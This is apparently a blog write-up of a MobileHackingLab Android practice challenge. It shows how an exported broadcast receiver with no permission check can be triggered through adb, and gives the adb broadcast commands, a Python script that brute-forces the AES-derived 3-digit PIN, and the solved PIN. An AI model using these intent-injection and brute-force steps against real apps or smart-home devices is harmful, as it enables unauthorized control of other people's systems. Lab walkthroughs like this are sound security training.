
Hello Guys…
In this blog, I will walk you through a challenge that I come across. It is all about exploiting a Broadcast receiver vulnerability. The challenge is from a platform called MobileHackingLabs. It’s a really good platform for testing your mobile pentesting skills. So let’s get started.
Broadcast Receiver
A Broadcast receiver allows applications to send and receive broadcast messages from other applications and system-wide events. A few events include incoming calls, low battery, system boots up, etc. It is one of the core components of Android. When a broadcast is sent, the system automatically routes broadcasts to apps that have subscribed to receive that particular type of broadcast.
If you want more information about broadcast receivers, click here.
Challenge Link: https://www.mobilehackinglab.com/course/lab-iot-connect
I have downloaded the APK on my Kali machine and installed it on my Genymotion emulator using the adb install command.

When opening the application, we have two options: Login or Sign Up. Click on Signup and create a new user. Login with the new user, and you can see two buttons, Setup and Master Switch.
Clicking on the Setup button, you can see a few devices that we can turn on or off. However, some devices like A/C and Speaker cannot be turned on since we logged in as a guest user.

When you click on Master Switch, it is protected by a 3-digit PIN. This button will start all devices with one click, but it can only be accessed through a privileged account.

Analyzing Code
Open the APK in jadx and navigate to the AndroidManifest file. Search for receiver, and you will find a broadcast receiver named MasterReceiver, which is exported to true without permission restrictions, making it vulnerable to unauthorized access.

Further analysis revealed the presence of a class called CommunicationManager when searching for MasterReceiver within the Text Search feature of JADX.

Inside the onReceive method, the code checks if the intent’s action is equal to the string MASTER_ON. If it is, the code extracts an integer extra from the intent with the key key. If the context2 parameter is not null and the check_key method from the Checker class returns true for the extracted integer, the code calls the turnOnAllDevices method on the CommunicationManager. It also displays a toast message saying All devices are turned on. If the check_key method returns false, the code displays a toast message saying Wrong PIN!! instead.
Checker class

Let’s Break it down.
private static final String algorithm = "AES";
private static final String ds = "OSnaALIWUkpOziVAMycaZQ==";
- String algorithm: represents the encryption algorithm used, which is “AES”
- String ds: represents the encrypted data, which is a Base64-encoded string.
public final boolean check_key(int key) {
try {
return Intrinsics.areEqual(decrypt(ds, key), "master_on");
} catch (BadPaddingException e) {
return false;
}
}
The check_key method takes an integer key as input and returns a boolean indicating whether the key is valid. It calls the decrypt method, passing the ds string and the key as arguments, and the result of this decryption is then compared to the string master_on if the decryption is successful it returns true, and if it fails it returns false.
public final String decrypt(String ds2, int key) {
Intrinsics.checkNotNullParameter(ds2, "ds");
SecretKeySpec secretKey = generateKey(key);
Cipher cipher = Cipher.getInstance(algorithm + "/ECB/PKCS5Padding");
cipher.init(2, secretKey);
if (Build.VERSION.SDK_INT >= 26) {
byte[] decryptedBytes = cipher.doFinal(Base64.getDecoder().decode(ds2));
Intrinsics.checkNotNull(decryptedBytes);
return new String(decryptedBytes, Charsets.UTF_8);
}
throw new UnsupportedOperationException("VERSION.SDK_INT < O");
}
This method takes two arguments: ds2 (the encrypted data), and key. It decrypts the ds2 string using the key and returns the decrypted string. It checks if the ds2 parameter is not null, it will generate a secretkeyspec object from the key using the generatekey method. Then it creates another object called cipher with the specified algorithm (“AES/ECB/PKCS5Padding”). There is one more condition If the Android API level is 26 or higher, it decrypts the ds2 string using the Cipher object and returns the decrypted string as a UTF-8 encoded string, if not it throws an UnsupportedOperationException.
Exploit
As the Receiver is exported to true, potential exploitation can be performed by crafting and sending an intent using adb with necessary action and extras.
Open the terminal and enter the following command:
adb shell am broadcast -a MASTER_ON --ei key 123

Upon submitting an incorrect pin, a Wrong Pin response is returned. If we obtain the correct PIN, we can use the Master Switch to turn on all devices without needing the Master account. Below is a Python script created using ChatGPT to brute force a 3-digit pin.
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import b64decode
# Encoded string and target value
encoded_ds = "OSnaALIWUkpOziVAMycaZQ=="
target_string = "master_on"
# Iterate through all possible keys
for key_int in range(1, 1000001):
try:
# Decrypt the encoded string with the current key
decoded_ds = b64decode(encoded_ds)
key_bytes = str(key_int).encode("utf-8").ljust(16, b'\0')[:16]
cipher = AES.new(key_bytes, AES.MODE_ECB)
decrypted = unpad(cipher.decrypt(decoded_ds), AES.block_size).decode("utf-8")
# Check if the decrypted value matches the target
if decrypted == target_string:
print(f"Found key: {key_int}")
break
except Exception as e:
continue
else:
print("Key not found within limit.")
Copy the code to your local machine and run the script.

Next, open the terminal and enter the adb command we used earlier, this time with the Correct PIN that we just brute-forced.
adb shell am broadcast -a MASTER_ON --ei key 345

You should see a message saying ALL Devices are Turned on. Now click on the Setup button and observe that all devices are turned on.

Completion Certificate:

Happy Pentesting..!